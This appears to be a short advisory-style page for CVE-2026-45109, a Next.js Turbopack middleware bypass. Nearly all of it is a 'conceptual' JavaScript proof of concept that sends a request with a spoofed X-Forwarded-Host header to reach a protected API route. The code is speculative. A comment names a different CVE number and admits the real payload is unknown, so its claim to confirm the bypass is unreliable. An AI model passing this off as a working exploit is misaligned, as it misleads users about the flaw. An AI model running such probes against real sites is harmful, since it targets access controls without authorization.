CVE-2026-45109 Next.js Turbopack中间件安全绕过

// Conceptual PoC for CVE-2026-45109 // Demonstrates a potential bypass of middleware protection in Next.js with Turbopack. const axios = require('axios'); async function checkVulnerability(targetUrl) { try { // The specific payload would depend on the nature of CVE-2026-44575, // which typically involves path traversal or header manipulation. const response = await axios.get(targetUrl, { headers: { // Malicious headers designed to bypass middleware logic 'X-Forwarded-Host': 'attacker-controlled.com' } }); // If the response contains sensitive data that should be blocked, // the middleware bypass is confirmed. if (response.status === 200 && response.data.includes('admin_flag')) { console.log('[+] Vulnerability Confirmed: Middleware bypassed on Turbopack.'); } else { console.log('[-] Target appears patched or not vulnerable.'); } } catch (error) { console.error('Request failed:', error.message); } } // Usage: checkVulnerability('http://localhost:3000/api/protected'); checkVulnerability('http://localhost:3000/api/protected');